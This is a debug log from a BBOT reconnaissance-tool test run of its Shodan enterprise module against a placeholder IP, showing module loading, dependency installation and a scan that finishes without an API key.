Preloading gitdumper from cache +2026-02-27 18:49:26,324 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 18:49:26,325 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 18:49:26,325 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 18:49:26,326 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 18:49:26,326 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 18:49:26,327 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 18:49:26,327 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 18:49:26,328 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 18:49:26,328 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 18:49:26,329 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 18:49:26,330 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 18:49:26,330 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 18:49:26,332 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 18:49:26,332 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 18:49:26,333 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 18:49:26,334 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 18:49:26,334 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 18:49:26,335 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 18:49:26,335 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 18:49:26,336 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 18:49:26,336 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 18:49:26,337 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 18:49:26,337 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 18:49:26,338 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 18:49:26,339 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 18:49:26,339 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 18:49:26,340 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 18:49:26,340 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 18:49:26,341 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 18:49:26,341 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 18:49:26,342 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 18:49:26,343 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 18:49:26,343 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 18:49:26,344 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 18:49:26,344 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 18:49:26,345 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 18:49:26,346 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 18:49:26,347 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 18:49:26,348 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 18:49:26,348 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 18:49:26,349 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 18:49:26,350 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 18:49:26,350 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 18:49:26,351 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 18:49:26,351 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 18:49:26,352 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 18:49:26,353 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 18:49:26,354 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 18:49:26,354 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 18:49:26,355 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 18:49:26,356 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 18:49:26,356 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 18:49:26,357 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 18:49:26,357 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 18:49:26,358 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 18:49:26,359 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 18:49:26,359 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 18:49:26,360 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 18:49:26,360 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 18:49:26,361 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 18:49:26,362 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 18:49:26,362 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 18:49:26,363 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 18:49:27,709 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:49:27,710 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:49:27,710 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 18:49:27,851 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 18:49:28,420 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 18:49:28,420 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 18:49:28,420 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 18:49:28,421 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 18:49:28,641 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 18:49:28,643 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 18:49:28,760 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 18:49:28,760 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 18:49:28,815 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 18:49:28,819 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 18:49:28,820 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 18:49:29,480 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 18:49:29,481 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 18:50:04,695 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 18:50:04,697 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 18:50:04,697 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 18:50:06,697 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 18:50:06,699 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 18:50:06,704 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:50:06,704 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 18:50:06,704 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:50:06,705 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 18:50:06,705 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 18:50:06,705 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 18:50:06,710 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/etsa9uj94h56gfsiy8ah +2026-02-27 18:50:07,792 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 18:50:07,793 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 18:50:07,793 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:50:07,794 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 18:50:07,794 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:50:07,795 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 18:50:07,796 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 18:50:07,921 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 18:50:07,921 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 18:50:07,921 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 18:50:07,924 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 18:50:07,925 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 18:50:07,925 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 18:50:07,925 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 18:50:07,926 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 18:50:07,927 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 18:50:07,927 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 18:50:07,928 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 18:50:07,928 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 18:50:07,928 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 18:50:07,928 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 18:50:07,928 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 18:50:07,928 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 18:50:07,929 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 18:50:07,929 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 18:50:07,929 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 18:50:07,930 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 18:50:07,930 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 18:50:07,930 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 18:50:07,930 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 18:50:07,930 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 18:50:07,931 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 18:50:07,931 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 18:50:07,931 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 18:50:07,931 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 18:50:07,931 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 18:50:07,932 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 18:50:07,932 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 18:50:07,932 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 18:50:07,932 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 18:50:07,932 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 18:50:07,933 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 18:50:07,933 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 18:50:07,933 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 18:50:07,934 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 18:50:07,934 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 18:50:07,934 [INFO] bbot.scanner scanner.py:1191 Setup soft-failed for shodan_enterprise: No API key specified +2026-02-27 18:50:07,935 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 18:50:07,935 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 18:50:07,936 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 5/6 modules. +2026-02-27 18:50:07,936 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 18:50:07,936 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 18:50:08,079 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_69k5bx3dcs +2026-02-27 18:50:08,080 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 18:50:08,191 [VERBOSE] bbot.scanner scanner.py:1181 5 modules started +2026-02-27 18:50:08,192 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 18:50:08,192 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 18:50:08,194 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-02-27 18:50:08,295 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check +2026-02-27 18:50:08,295 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-02-27 18:50:08,296 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target +2026-02-27 18:50:08,297 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 18:50:08,298 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:50:08,299 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:50:08,300 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-02-27 18:50:08,300 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 18:50:08,302 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:50:08,303 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 18:50:08,303 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:50:08,305 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:50:08,306 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:50:08,308 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:50:08,309 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 18:50:08,312 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 18:50:08,313 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-02-27 18:50:08,313 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 18:50:08,314 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 18:50:08,314 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded +2026-02-27 18:50:08,394 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 18:50:08,395 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:50:08,396 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET +2026-02-27 18:50:08,396 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-02-27 18:50:08,397 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 18:50:08,398 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 18:50:08,399 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 18:50:08,400 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 18:50:08,400 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 18:50:08,402 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 18:50:08,502 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 18:50:08,502 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 18:50:08,521 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 18:50:08,521 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 18:50:08,522 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 40 tasks +2026-02-27 18:50:08,533 [DEBUG] bbot.scanner scanner.py:1176 Awaited 40 tasks +2026-02-27 18:50:08,533 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 18:50:08,534 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 18:50:08,535 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 18:50:08,536 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 18:50:08,536 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 18:50:08,651 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_69k5bx3dcs completed in 0 seconds with status FINISHED +2026-02-27 18:50:08,651 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 18:50:08,652 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:50:08,654 [INFO] bbot test_module_shodan_enterprise.py:11 I AM HEEER [SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()), IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}), SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set())] +2026-02-27 18:50:08,654 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-02-27 18:50:08,654 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-02-27 18:59:12,606 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 18:59:12,620 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 18:59:12,621 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 18:59:12,621 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 18:59:12,623 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 18:59:12,624 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 18:59:12,626 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 18:59:12,627 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 18:59:12,631 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 18:59:12,632 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 18:59:12,634 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 18:59:12,635 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 18:59:12,637 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 18:59:12,637 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 18:59:12,639 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 18:59:12,640 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 18:59:12,641 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 18:59:12,641 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 18:59:12,642 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 18:59:12,643 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 18:59:12,644 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 18:59:12,645 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 18:59:12,646 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 18:59:12,647 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 18:59:12,648 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache 